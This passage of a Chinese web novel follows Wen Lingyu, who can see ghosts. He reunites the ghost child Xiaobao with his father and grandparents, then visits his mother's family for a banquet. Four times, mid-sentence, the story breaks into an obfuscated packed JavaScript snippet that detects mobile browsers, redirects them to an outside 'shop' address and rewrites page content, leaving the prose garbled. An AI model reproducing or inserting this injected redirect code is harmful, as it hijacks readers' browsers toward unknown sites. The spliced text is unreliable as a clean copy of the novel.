温令羽等阿辛把话说完，才出声问道：“资料上显示是你把小宝带回鬼小馆的，可明明你很少出去，怎么会特意去这么远的龙青山带人回来。” 除非是有所图谋。 温令羽和阿辛的思绪正在往不好的方向发展，差点就要把酒保大哥当成反派。 “小宝是我的儿子。” 酒保大哥最终还是说出口了，明明这个事情他到死都不会告诉其他人，但听出温令羽和阿辛话里面的关心，隐瞒的事实就显得无情。 这句话把在场的人都整懵了，小宝是酒保大哥的儿子，那么自然酒保大哥是葛家二老离世的那个孩子。 所有的不对劲变得合理起来， 比如，葛大哥为何把小宝带回鬼小馆似乎也找到了缘由。 仅在村子里务农，温饱是不成问题，但要好好抚养教育刚出世的孩子，手里面的钱却是远远不够的。 最基本的衣服奶粉等各种所需用品大大增加了家庭支出。 老一辈经常说，苦谁都不能哭了孩子。 在家待了一年，有了孩子后什么都要节省，生活越来越难熬，在村里人的介绍下，葛大哥和他的妻子也选择了一同外出打工，把小宝留在家里给爷爷奶奶照顾。 葛家因结婚翻新过，而后，又大办了一场周岁礼，在村里是出尽了风头，积蓄所剩无几。 决定走的那天，葛爷爷生了好大一场气，气得一家人坐在一起吃饭他都要先一步离席，不和葛大哥坐一桌吃。 见状，葛奶奶立马到房间里劝他：“一家人好好坐在一起吃一顿饭，你又生什么气。” “家里节省一点过得去，外出打什么工。把这么小的孩子留在家里，小宝不要父母的？”葛爷爷没压低声音，特别是最后一句疑问，是特意说给外面的听的。 都这么说，葛大哥没法心安理得吃下去了，安抚好妻子，他走到房间门口说道：“爸，多赚点钱以后好让小宝去外面上学，总不能一辈子只靠天吃饭。” 这话一下戳到葛爷爷肺管子上，他更生气，一把打开门，对着葛大哥就吼：“我这一辈子就靠天也把你供上了大学，我行你为什么不可以？要让小宝这么小当留守儿童，你这个做父亲的真是铁石心肠。” “时代不一样了，小宝以后……”葛大哥想好好和葛爷爷讲讲理，无奈对方不听，果断关门把葛大哥拦在外面，顺势打断了他的话。 如今当家的是葛大哥，他做了决定，就没有转圜的余地，外出打工这件事情就这么定下来。 考虑到孩子这么小，葛大哥自己先走，等外面安定下来后再把妻子接过去。 事故就发生在打工后的第二年春节，那一年坐车的人很多，他们村好多人都没买到票，打一个商量便打算一块儿开车回去，也算是搭个伴。 葛大哥是有车的，想着同村的就同意一起。 假期本是车流最多的时候，加上回家急切，大帮人一起回去出事故的概率就高了，葛大哥的车开在最前面指路，受伤最为严重，在现场的人根本不敢看。 消息是医院传过来的，葛爷爷接到了电话，顾不上难过伤心，直接赶往了医院。 遗憾的事情常有。 再着急也没见到儿子儿媳的最后一面，只留下唯一的孩子。 阿辛是记得小宝登记的资料，“为什么是七年前带回来的？小宝他应该……” “小宝是死后第七天就回来的，因为我没有陪着他长大，他认不出来我只记得爷爷奶奶。但小宝年龄小，只能牢牢记住爷爷奶奶年轻时的模样，随着时间一天天过去也认不得他们了。”葛大哥提到以前的事情，心情久久无法平静。 温令羽像是明白了，“你就只能把小宝带到鬼小馆，自己照顾他。” 葛大哥也是没了办法，才将小宝带回来，当时小宝某一天睡好久被他叫醒，因找不到熟悉的面孔，哭得快晕厥过去。 “阿羽不对！葛大哥和老板认识，大可以让老板转述小宝现状，他再坦白父亲身份，小宝就能离开了。”温令羽心软容易被打动，阿辛本为葛大哥隐瞒的事情生气，这时候脑袋清醒得很。 温令羽意识到自己偏了题，迅速调整好自己，站在阿辛那一边。 犹如三堂会审的局面。 “阿辛，你什么时候变得这么敏锐了，果然是成长了。”葛大哥无奈地叹了口气，“因为我不想走，我是由于小宝的祈愿才回来的，要是他知道我是他父亲，我就必须得离开。” 葛大哥他酒保兼职老板助理的工作没有完成，而且他也想多陪一陪小宝。 弥补生前没有陪伴的遗憾，死后望能如愿。 温令羽想不通葛大哥如今转变的原因，问道：“那你现在是准备相认了？为什么是现在？” 若是不准备相认，大可不用出现在他们两个面前。 温令羽不是不相信自己，他正是太了解自己了，葛大哥不主动现身，他和阿辛是绝不会看到的。 “我早该想到的，卡bug的惩罚却发生在了小宝身上。” “鬼魂是可以像正常人一样生活，比如上学和工作。但小宝不行，他像是会初始化一样，任何经历过的东西都无法在他脑海中留下痕迹。” “甚至现在连最开始的记忆都模糊了。” 看来葛大哥一直在背后关注小宝的一举一动，不然也不会知道了这么完整。 任务迫在眉睫。 温令羽不敢再有耽搁，和阿辛一同把葛大哥带回了鬼小馆，总得先完成一样才好。 情绪转变最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小宝呆呆保持着拥抱的动作，心里受到了重大打击，声音极小地重复“爸爸”两个字。 “为什么相认的代价是分离！小宝太惨了。”阿辛趴在温老身上哭，替小宝发泄出来，“小宝你别憋在心里，要大声哭出来啊。” 这句话刺激到小宝的神经，他忍不住了，放声大哭起来。 温令羽夹在他们中间，一左一右，3D环绕音似的，差点把温令羽都传染了，眼眶也渐渐湿润了。 “阿辛，你这样我都快想哭了。”温令羽偷偷给自己擦了一把，让自己看得正常。 温老看不得这样的场面，将阿辛的头从他的肩膀挪到酒保的肩膀上，方便他们两个相互抱头痛哭，给温令羽个手势，一起离开了这个房间。 临走前，温令羽特意把门带上了。 “你刚才说，有一个与小宝一样大的小孩住在葛家，但要是按照年龄来看，小宝不可能还只是上小学的年纪，而且他挂了我们的电话，是不想小宝回来吗？”温老心觉不对，道出了疑惑。 温令羽自然也想到了，但当时带葛大哥回来的事更紧急，没有时间再去葛家一趟问问“小宝”，便只能暂时讲疑问搁置，等之后再行解决。 “再去一次，应该就能搞清楚这些事情了吧。” 44.往日旧事 温令羽本想缓了几天再过去，但小宝却十分坚持，一个晚上过去就做好了决定，要赶到葛家，去找他的爷爷奶奶，去见自己记忆中的模样。 这一次，除了酒保得留在鬼小馆里看顾，温老带好小宝一起去葛家。 去过了一回，温令羽是借了宋时盛家里的车过去的，虽然一车人只有他会开，但中途歇一歇停一停，花费一整天时间到了镇上，还是住在原来的旅馆。 旅馆老板开好了房间，认出了温令羽，说道：“你又来了？镇长昨天过来找你，但你早就退房走了。” 镇长前段时间在外出差，温令羽并没有见到人，是小许带他过去的，想必是小许向他说明，他过来问个情况，孩子找回来是件大事。 温令羽作出了回应：“那我明天去找镇长，可能是有什么事要说吧。” 旅馆老板是不知道什么事情的，毕竟镇长并没有向他说，只是觉得温令羽和镇长有亲戚关系，特意过来问一问，“你和镇长是亲戚啊？我给你打个折。” 温令羽赶紧摆摆手，撇清了关系，“不是不是，我是有事找镇长的。” 到旅馆的时间已经很晚了，温令羽回到房间后就睡了，他开了一天的车，路上尽管有休息，但还是会累想睡觉。 许是到了熟悉的镇上，小宝睡得很香，来之前的一晚，阿辛担心小宝就留在鬼小馆了，陪他熬了一整晚。 无论阿辛怎么哄，小宝就是睡不着，阿辛就这么睁着眼睛到了天亮。 房间里两个都睡着了，阿辛放低了声音对还醒的温老说道：“小宝明天要是见到第二个‘小宝’，会不会出什么事？” 阿辛是想让小宝留在旅馆，等他们先将“小宝”的事情搞清楚后，再将小宝带回去看最后一眼。 温老可不想再留下带娃了，他果断把照顾小宝的任务交给阿辛，“那你留在这里陪他玩，我和温令羽去。” 原本是想把小宝交给温老的，活一下被安排在自己肩上，毕竟是说的，阿辛思虑了片刻后还是答应下来，“那你到时候有什么情况要和我说。” 可以不去，但必须有知情权。 于是，第二天一早，温令羽和温老直接就去了镇上办事处，依旧是小许坐在外面值班，一看到是温令羽过来，赶紧叫住他，“你来了，镇长在里面，还准备给你打电话。” 小许将温令羽带到办公室里，说道：“镇长，这就是前些天说找到葛家孩子的温令羽先生。” 温令羽穿着T恤加咖色短裤，将他在校大学生的身份完美体现出来，镇长有些不确定，面前这人真的能找到葛家那走失几十年的孩子。 “温先生是吧？你是在哪里找到葛家小宝的？”镇长想问问，他不太相信。 温令羽如实说，可能会被当成神经病赶出去，但又不可能什么都不说，空口就让别人信他。 镇长需要对他们的村民负责任，是需要凭据的。 “我和小宝是在一家店铺里遇见的，一见如故就成了朋友。”温令羽尽量不把小宝当成小孩子来看，若非是死亡让他永远都是小孩子模样。 见温令羽说的这么仔细，镇长的怀疑放下了一点，“那他怎么没有过来？认亲为什么不亲自来，还有其他人先过来确认。” “因为他死了。”温令羽也担心镇长往后问太多，干脆直接将结果告诉他。 镇长一顿，他心里想过很多可能性，有了新家庭不愿意回来，或是怨恨亲人等一系列原因，独独没料到是如此客观的回不来。 一不小心将对方想坏，镇长内心感到非常愧疚，原先咄咄逼人的气势在此刻弱了下来。 见状，温令羽倒是需要问问“小宝”的事情，“那葛家现在的‘小宝’是怎么回事？” 年龄都对不上，温令羽不觉得镇长不知情，葛爷爷葛奶奶年龄大或许还有搞错的可能，但是镇长绝不会如此。 既然是朋友，“小宝”却也是瞒不下去了。 葛家二老先后失去了儿子和孙子，精神全靠把小宝找回来撑着，但到底多年过去，身体愈发不好。 葛爷爷作为家里壮丁，身体素质比葛奶奶好，葛奶奶生了两次大病后又确诊了艾尔兹海默症，一直念叨小宝的名字，病情进展得很快，必须得葛爷爷在旁边盯着照顾。 而镇长又捡到一名刚会走路的小孩，镇长将他送到能找人的地方，镇上监控覆盖不全面，根本找不到是谁丢弃的孩子，孩子也不知道自己的父母在哪里。 线索一下子断掉，孩子只能暂留在收养机构。 葛爷爷从村里知道了这个情况，连夜赶到镇长家，“那个孩子找到家人了吗？” 镇长既是镇长，又是他自己捡来的，一直没有消息，他为这事也十分忧心，“没有，说再不行就要送院里去了。” 葛爷爷想收养这个孩子，不仅是为了葛奶奶的病情，也是为了自己，“你看我能不能收养他？” “你家的条件，能养吗？”葛家两个老人，还有一个非常需要照顾，养孩子是个累活，镇长有些担心。 葛爷爷早就想过这些问题，“我儿子的赔偿款还有很多，我老伴得了病只记得小宝小时候，收养了他对她的病情也有帮助。” 镇长还在犹豫，“你让我再想一想，这是一个大事。” “要是能收养他，我家也就能热闹起来了。”葛爷爷和葛奶奶已经冷清了数十年，只能羡慕邻居家热闹团聚。 因这句话，镇长做了担保，成功办下了收养手续，孩子终于有了一个名字——葛小宝。 把孩子带回家的一天，葛爷爷牵着他慢慢往家走。 记起小宝当年刚会走路的时候，他的爸爸就外出打工了，打工的那一年里他走路学得飞快，是为了等爸爸妈妈回来，能去门口接他们回家。 如今又有一个孩子，走着回家不让抱。 但也确实好，自从把“小宝”带回家后，葛奶奶过了那道坎，连病情都好了不少。 葛爷爷从始自终都知道“小宝”并非是自己的孙子。 听完了镇长说的这些，温令羽也陷入了迷茫，两位老人家年龄都已经很大了，这么大的打击能否受得了。 温令羽的犹豫全在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164542|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇长的意料之中。 “要是小宝能回来，我绝对支持你将事实告诉他们，但是他现在回不来了，就别去打破他们现在的生活，或许这才是对他们最好的方式。” “我听小许说，之前你没有告诉他们。” “‘小宝’一个小孩子，要是知道自己的爷爷奶奶不是亲生的，可能会影响他的前途。” 镇长是一心想阻止温令羽说的，都用上“小宝”的前途来施压，想博的同为学生的温令羽的共情。 要不说最后一句，温令羽倒是真有可能打道回府，“可是‘小宝’他已经知道他不是亲生的，上一次我打电话给葛爷爷是小宝接的，他还……” 不想我们过来。 怕打破“小宝”在镇长心目中的形象，温令羽到底没说最后一句话。 决定权还是在温令羽身上，镇长没法剥夺，只是请求去的话带上他一起，对此温令羽没有异议，同意了。 温老在旁边听了全程，信息量太大，他还在努力消化。 眼下有一点是他们确定的。 “小宝爷爷奶奶的祈愿还有一个是希望他以后能快乐，不管怎么样，肯定要传达给他们的。”温老这是要温令羽去一趟，镇长建议的直接回家是万万不行的。 温令羽总觉得跟二老说小宝过得很好，像是在欺骗两位老人家。 “这真不算骗吗？小宝这么多年游荡在外，父亲陪伴他的同时又欺骗他。”温令羽还想问问有没有两全的办法。 温老知道难为温令羽，“你就当快乐被提前支取了，完成祈愿任务后小宝就不会再受到约束，离开这里去到一个新的地方。” 傍晚，还是上一次的时间点，温令羽接上所有鬼，在镇长的指路下，到了葛家。 葛家二老和“小宝”已经吃好晚饭在院子里吹风，听到屋外的声音，葛爷爷先出来看。 温令羽既然来，镇长就知道他的决定，于是先他一步说道：“他带来了你家小宝的消息，你看看是这里说，还是进去说。” 葛爷爷将大门关上，又走远了一点，确认这里说话里面听不见了。 小宝记忆中年轻的葛爷爷已经不再了，可能是葛大哥离开，bug被修复，小宝知道了面前就是他找了许久的爷爷。 尽管知道对方感受不到，小宝紧紧抱着他哭得泣不成声。 “我家小宝现在怎么样了？”葛爷爷语气平静地问，但握紧的拳头却暴露了他紧张的内心。 温令羽看着爷孙俩抱在一起的画面，“他很想爷爷奶奶，一想就会哭。” 哭是一种情绪表达。 葛爷爷眼眶渐渐湿了，是他们没有把小宝找回来，对不起他，“是爷爷不中用，连孙子都找不回来。” 小宝在一边无声地摇着头。 “他过得好吗？怎么没有回来？”两次都只有温令羽一个人，葛爷爷觉得奇怪。 镇长心也慌起来，把口袋里手机拿出来，做好打电话给医院的准备。 这个节骨眼上，温令羽却转了一个弯，“我能去看看里面的‘小宝’吗？” 45.好运加成 葛奶奶没有出来，错过了这一次，小宝或许就再也见不到了。 葛爷爷打开门，“小宝”就站在大门的不远处，而葛奶奶仍在屋檐下，坐在摇椅上扇风。 不用温令羽主动说，葛爷爷也看出来了，“小宝”不知道从哪里听说的，不然不会站在门口这里。 “小宝”一脸惊讶，没想到他们会突然推门进来，仰着小脸问葛爷爷：“爷爷，你怎么出去一下子就没人了，我出来找你。” “哥哥找爷爷有事，‘小宝’是在外面跟爷爷还是进去陪奶奶？”葛爷爷将选择权交给“小宝”，无论如何，“小宝”都会是他的孙子。 “小宝”深深看了一眼葛爷爷，终是没开口说留下的话，少了几分孩子的天真气，“我会去陪奶奶，爷爷你要早点回来。” 温令羽站在小宝的身后，静静地目送他消失在家门前，紧闭的大门是葛爷爷葛奶奶做的一场无声告别，凭小宝的能力，飘进去易如反掌。 但是，小宝没有选择这么做，只是站着而已。 原本要多住一晚上，但心情太沉重，不想在伤心地留太久，商量早点回去，都同意了就从旅馆退了房间。 成为人与鬼的交流所，不是件容易的事，不论是从身体还是心理。 回来后的几天，温令羽产生了退却的心思，头一次如此不愿意接受自己拥有的能力，若非是能“看见鬼魂”，他哪会担下帮助鬼魂的责任。 在温令羽一连好几天都拒绝出门之后，温老就隐隐约约感觉到了。 在阿辛去鬼小馆看店后，家里只有他们两个，温老准备同温令羽来一场深刻的谈判。 “你后悔了吗？”温老除此之外，想不通温令羽还能因为什么。 温令羽是想承认的，但看清温老脸上的表情后，有理由怀疑他今天真点这个头，会把他的老祖宗气死的。 默认应该也是肯定的意思表达。 温令羽用自己的沉默，来回复温老的问题。 温老恨不得给温令羽几拳头，让他好好清醒一下，“明明一切都在往好的方向发展，你到底在想什么乱七八糟的。” “可是小宝还是离开他的亲人了，爷爷奶奶也有了新的‘小宝’。”温令羽依旧觉得这一切没捅到小宝面前就好，至少小宝依旧能高兴一点。 温老气得差点撅了过去，最终还是理智占了上风，“无论是小宝，他爹，还有他爷爷奶奶都会很好。先说他爷爷奶奶，你没说真相的决定我很欣慰很肯定，小宝很好的事实减轻了他们走丢孩子的负罪感。” “至于小宝和他爹，消失在这个世界上，但是会去到鬼魂应该去到的地方，算是回到正轨了。” “最后还有你，一下子完成两个指标，运气值是在正增长，做什么事都会很幸运。我要是你，还不赶紧能干啥干点啥，不信你去买张彩票试试？” 几句没听过的话说来，温令羽被说的一愣一愣的，作势真要出门买张彩票。 “你真要把好运用在这些东西上面？”好运来之不易，只是放在试验上太不值当，“每一次积攒都不容易。” 清醒过来后，温令羽当然不会去买彩票，毕竟现在他的好运只能保证他中奖。 “小宝的事情，你知道多少？”提出小宝作为任务对象，帮助他完成任务是温老先提出来的，甚至不顾阿辛的反对，若仅仅是巧合，温令羽可不相信。 温令羽能猜到这份上，出乎温老的意料，他确实精挑细选挑中了小宝，但绝非是知道了什么。 “我不知道。”温老如实地说，但他确实是在巧合中发现了不对劲，“我带过这么多小孩，没见过这么笨的，睡一觉就能把前一天说的话全忘了。” 这样的小孩温老是不想再教第二个了，早点解脱更好，能有个全新的未来。 “小宝才多大，你就要去教他？还嫌弃他？”温令羽第一次发现温老还有当老师的潜质。 温老他理不直气也壮，“小宝看着就跟辉辉一样，我想念他不可以吗？而且我以前文学才华可好了，教他怎么了？” 还想继续争辩的，温令羽的电话打来了。 令美珑终于忙完了公司积攒起来的工作，开始着手进行弟弟升学宴的准备了，想起冷落了一年多的大儿子，赶紧打来了电话。 温令羽接到令美珑的电话很开心，但从不夸张表露自己情绪的他，只能安静地听电话另一头的令美珑在说，然后在每一句结束回应她，表示自己在认真听。 “我听说你在时盛的公司和他一起创业，累吗？” “就是去帮个忙，现在已经没去了。” 工作的事情已经过去了好几天，令美珑久不在这边，不知情也是正常的，更何况她竟然知道自己的境况，说明还是关心自己的。 温令羽如此想着，变得高兴起来。 “这样啊，那挺好的，假期有了更多的时间。你弟弟下周升学宴，你早点过来玩几天。”令美珑也想见温令羽了，一年多的时间都因小儿子而耽搁了。 可以见到母亲，温令羽很想立马答应下来，担心自己长期立的乖巧自持的人设破裂，缓了几秒钟才答应下来。 话是慢几秒定下来的，票是过了几分钟后买的。 定的是隔天下午的，上午合适的班次已经售罄了，连多买几站都没有票，不选下午，就只有晚上的车了。 来得很急很赶。 店铺那边有温老和阿辛双双坐镇，家里他们也可以顾得上。 四个小时的车，温令羽时不时看手机，第一次觉得每一站的距离怎么这么远，明明高铁上只写了十几分钟就到下一站了，却感觉过了半个小时这么久。 温令羽提前两个小时给令美珑发的消息，直到下车都没有回复，也没有人会在出站口等他。 看着与自己同车的乘客，一个个被朋友或是亲人接走，不免会多想。 温父和令美珑都没有来过一次，反倒是宋时盛他们这一帮，经常被他叫来。 输入令美珑家的地址，在等车的过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177959|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程中，在自己的兄弟群里喊：“回来给你们带特产，要吃什么快点报，过时不候。” 宋时盛忙归忙，依旧能秒回消息，“当天去当天回？” “当然不是，下周吧。”温令羽要在这里玩一周再回。 宋时盛甩了个表情包，发了请帖照片，“谢邀，我也要去赴宴。” 两人一来一回斗了十几张表情包，炸出了群里不少潜水，一下子热闹了起来。 一条条被刷上去的消息，温令羽深感欣慰，边聊边打发路上时间。 或许是有了这段插曲，回去的路上竟不觉得难熬。 令美珑是有住大房子的能力，但她依旧执着于买大平层，房子不需要多大，足够一家人居住就行。 温令羽敲了敲门，没等多久，门就打开了。 一位陌生的初中生面孔。 一年时间没见到，他弟弟的变化竟然如此之大？ “你是谁？”对方也没见过他，同样陌生。 这时候温令羽开始怀疑他是不是走错了门，可他敲门之前做足了准备，好一番心理建设后才敲的。 令美珑不至于搬了家不告诉他。 就在两个人在门口僵持的时候，屋里面其他人也注意到门口的情况，另一个人跑出来了，“人到了怎么不进来？是走错门了？” “哥，你来了？”温令羽都快撤退，他弟出来了，认出了他。 现在假期，他弟弟请了很多同学来家里玩，而且令美珑在家，正在厨房做蛋糕，准备招待同学。 温令羽去厨房找令美珑，她正在琢磨蛋糕，看到是温令羽进来很高兴，“阿羽，你什么时候到的，怎么不给妈妈打电话？” “我打过了，没人接。” 令美珑将手里的工具放下，拿出手机看，果然有温令羽的未接来电和信息，解释道：“工作消息音太烦了，我就开了免打扰，一直没听到。” 温令羽笑笑，表示自己不在意，“我找得到地方，没关系。” “你来得刚刚好，蛋糕马上就做好了。”令美珑对于她的杰作很满意，迫不及待让温令羽欣赏。 卖相很好，是大厨的水平。 厨房外，弟弟在喊：“妈，零食没有了，我想要去买。” 小区里就有便利店，零食经常去那里买，令美珑也很放心，让弟弟带着同学一块去选。 令美珑送弟弟到电梯口，嘱咐道：“不要都买自己喜欢吃的，同学喜欢什么就买什么，没有钱了跟店阿姨说一声，妈妈去付钱。” 话是这么说，但令美珑多算了好多给弟弟。 他们都走了之后，家里面一下子冷清下来，不过这样的氛围，却给了温令羽足够的安全感。 温令羽没事情做，就跟在令美珑后面，她去哪，温令羽就跟到哪，一转身就能看到的地方，和他小时候一样。 “阿羽，你过来的时间太不凑巧，客房都满了。这样吧，我给你定酒店，就在我公司附近那家，你好好在这里玩几天。” 46.误会解除 第一次知道语言的威力大，能够不费吹灰之力，把心脏紧紧攥住，一下子连呼吸都变得不通畅了。 温令羽不知道自己是怀着什么样的心情，点了这个头，在厨房里又陪了令美珑一会儿，带上自己放在玄关处的行李箱，跟随令美珑的助理离开。 车上，助理有意缓和气氛，有一搭没一搭地找话题和温令羽聊天。 温令羽像是只有身体在这里，灵魂早不知道去到哪个地方，助理的所有话只剩下零星几句话才进入心里，但温令羽没有回复的心情。 到了酒店门口，助理给温令羽拿行李，送他去提前定好的房间。 这个老板家的大少爷沉默寡言，几次见面下来，除了对老板有几个笑脸，对其他人说不到几句话。 “温少爷，这是老板早就预定好的房间，还附赠附近新建游乐场门票，若有需要可以电话给管家领取。”大晚上，助理把该嘱咐的都说了，免得说是他的失职。 温令羽有点想回去，至少家里还有温老和阿辛，有朋友有家人，这边只有自己一个人。 情绪憋不住了，温令羽语气低沉，“早就给我定好的吗？” 这话一出，助理愣了片刻，意识到对方是误会了老板的意思，赶紧解释道：“不是的。附近游乐场是小少爷一直想去的，但老板忙于工作没时间带小少爷过来，只说要先定下来。老板是想让温少爷找朋友一起过来玩。” 原来是这样吗？ 温令羽一脸疑惑看向助理，“真的吗？” 助理立马点头肯定，“老板是这个意思，而且嘱咐了不要告诉小少爷，他来绝对会闹着一起去，影响游玩体验。” 这下，温令羽完全相信了助理的说辞，毕竟他没有欺骗他的理由。 拿房卡开门，刚把行李整理好，随意放在床上的手机响了。 温令羽一手翻看明天穿什么，一手接电话，连来电是谁都没有看仔细。 “阿羽，你整理好东西了吧？”令美珑的声音从电话另一头传过来。 温令羽听出来了，特意拿下手机确认来电对象，才说道：“已经整理好了。” 想必是助理和令美珑讲了这边的事情，令美珑打来电话关心一下情况。 果不其然，令美珑语气温柔，解释今天的情况，“阿羽，这两天妈妈忙弟弟升学宴的事情忙忘了，应该让你晚两天过来，这样你就可以自己选择了，可以住酒店也可以住家里。” 之前是难过的，但在解释下，再生气的情绪此刻也消散得一干二净了。 温令羽说道：“没关系的，这样就很好了。” 仔细听出来了，确定温令羽没往心里去，她也松了一口气，这些事情还是不要过夜的好，能说清楚就早点说清楚，本来他们的母子关系就不容易维系。 任何的误会都不想要有。 有令美珑的关系在，温令羽在酒店躺了三天，跟着酒店的专车到整个市好玩的景点都转了一圈，走的都是特殊通道，除了饭菜不合口味，几乎没有任何烦恼。 宋时盛开始还同情温令羽有家还住酒店，但在他的朋友圈反馈中，同情转成了嫉妒，连最后一天的班都翘了，来温令羽的酒店抓人了。 温令羽熬了大夜，睡得太熟听不见铃声，连手机都是静音的。 一觉睡饱起来，手机静悄悄的，外面也是暗的，此刻他的世界安静无比。 温令羽口令指示开窗帘，拿上手机准备去洗漱。 打开手机，十几个宋时盛的未接来电，加上几十条他的未接消息。 天“塌”了。 温令羽赶紧拨了回去，立马被宋时盛挂了，也没在意，又打了回去。 一来一去，三轮之后，宋时盛气消了，把电话接了。 “这是活过来了？”宋时盛还有点不满。 “睡着了，要我下来接你吗？”温令羽这层楼管得严，没卡上不来，再加上他睡着了听不到前台的电话，宋时盛只能在楼上等。 宋时盛哪会真在酒店大厅等这么久，早就自己定了一间，和温令羽同楼层的。 还发了好几张房间美食的照片，睡了一天，温令羽早就饿得不行，去宋时盛的房间找人了。 宋时盛给温令羽留了门，里面除了宋时盛在，他们共同的好朋友都在，上大学后都忙，时间都撞不到一块，上一次聚这么齐还是在榆林镇。 “以后我们每年都去榆林镇一次吧，要不然真聚不起来。立马就有人建议道。 宋时盛将旁边的抱枕扔了过去，“你这是要把我姑家干穷。” “付钱的付钱的，哪能白吃白喝。”旁边也有人加入了这场对话。 宋时盛的抱枕被丢回来了，“酒店管理都眼熟我们了，怎么可能真让你们付钱。” 温令羽一进来就吃，发现大家都在聊这个，他也不想错过，“那就更要去了。” 于是，温令羽又和朋友玩了一两天。 距离升学宴的时间越来越近了，令美珑也是打来了电话，“阿羽，明天有时间吗？过来试一下衣服。” 之前有量过温令羽的尺寸，定做的衣服算算时间也做好了，是为了出席升学宴用的。 “明天有的，地址发我我直接过去。”温令羽在温昕生日宴的时候定做过这一家，是要去店铺里跑一趟的，没有送货□□。 令美珑让温令羽直接回家，“已经送到家里了，明天有人会来接你，你在酒店等就可以了。” 看来同一家店铺在不用的地区有不同的经营方式。 衣服是按尺码做的，合身没有要修改的问题，当场确认定下来。 温令羽的衣服试完了。 还有弟弟的衣服同是在这家定，温令羽一整天没有其他安排，便留下来帮令美珑一起看看。 小孩子这年龄叛逆更想玩，不情不愿地被拉过来，试穿过之后竟小了一点，手臂紧了不少。 令美珑捏了捏弟弟的肩膀，“是小了，要改。” 负责的店员也注意到了这情况，他不好意思地笑了笑，“这个年龄的孩子长得快，看来是之前的尺码不对，这边会安排加急处理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222175|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 令美珑听到这话很高兴，孩子健健康康地长大是她最希望看到的。 “没事，那改过再试吧。要不要重新量尺寸？”令美珑让弟弟把不合身的衣服脱下来。 店员点了点头，“需要的。” 再留下来没有事，温令羽跟令美珑告辞，“衣服我带走了，我先走了。” 令美珑刚想应下，很快就想起来了，今天的助理有其他活，没安排过来接温令羽过去。 “酒店住了这么多天，今天在家里住吧，妈妈下厨煮你喜欢吃的。”令美珑挽留温令羽。 温令羽拒绝不了令美珑的建议，便选择先住一夜。 温令羽的房间安排在弟弟旁边，正因此成为弟弟朋友居住的首选。 三人吃完晚饭后，温令羽回到房间，空手来的他哪里能想到他还真会留宿这里，连睡衣都没有一套。 温令羽正想着要不要自己连夜赶回酒店，这一想法刚成型，房间门被敲响了。 “谁啊？”这个家里还有不太熟悉的叔叔，温令羽还是觉得先问一下。 令美珑站在门外，“阿羽是妈妈，可以开门进来吗？” 得到了温令羽的肯定，令美珑才推门进来。 令美珑拿了一套全新的睡衣，她早就料到了温令羽没有带过来，便拿了套丈夫的。 拿过来时还怕温令羽会不接受，但心底里又不想隐瞒他，说道：“这是你叔叔的，他最近还在外出差，今天不回家。这是全新的，要是实在不喜欢，妈妈重新去给你买。” 温令羽不愿意让令美珑为难，笑着接过令美珑手里的衣服，“有一套就好了，那我先去休息。” 隔天一早，温令羽就说要回酒店。 令美珑还想留温令羽多住几天，在升学宴开始前最好都住在家里面，“叔叔都不在家，就当是陪一陪妈妈。” 说者无意听者有心，弟弟便觉得令美珑是厌了他，愤愤道：“妈！没弟弟你都这么讨厌我了，有弟弟你还不得赶我走？” 弟弟？ 令美珑可能怀孕的猜测一直在脑海里转，温令羽连饭都吃不下去了，满桌的美食也下不了筷子。 温令羽有些震惊地转头去看令美珑，她还在认真安抚弟弟的心情，“妈，你已经怀孕了吗？” 令美珑并不想造成这些误会，“没有！还没有怀孕。” “骗人，爸爸上次问我是想要一个弟弟还是妹妹，这不就是有了还瞒着我。”弟弟把话记得很清楚，原封不动转述了出来。 令美珑没想到丈夫把这些事都和孩子说，心理也有些不高兴，一个还没有成型的打算，不应该这么早说出来。 令美珑耐着性子跟两个儿子解释，“只是之前有这个想法，但现在妈妈工作忙且重要，没有时间去照顾另一个孩子。” “妈妈不会生下负责不了的孩子。” “现在可以好好吃饭了吧。”令美珑可不想一桌心血白费，招呼他们先吃。 还不忘反省自己，以后吃饭还是简简单单得好，别说话。 47.毫无理由 “哪里定的衣服？挺帅。”宋时盛等了司机一会儿，到宴会现场的时候已经晚了。 温令羽将设计师的名说了，十分意外宋时盛竟然不知道这家，他身边不少人会去预定。 宋时盛也知道这号任务，“我知道他，自从他搬了地方，嫌他一直不能上门，就没再找过，设计师多得很，根本不怕找不到。” 其实这次的升学宴就是一个大型的社交现场，很快就有人过来找宋时盛，他现在独自接管了公司的事早在圈子里传开了，自然有很多事情聊。 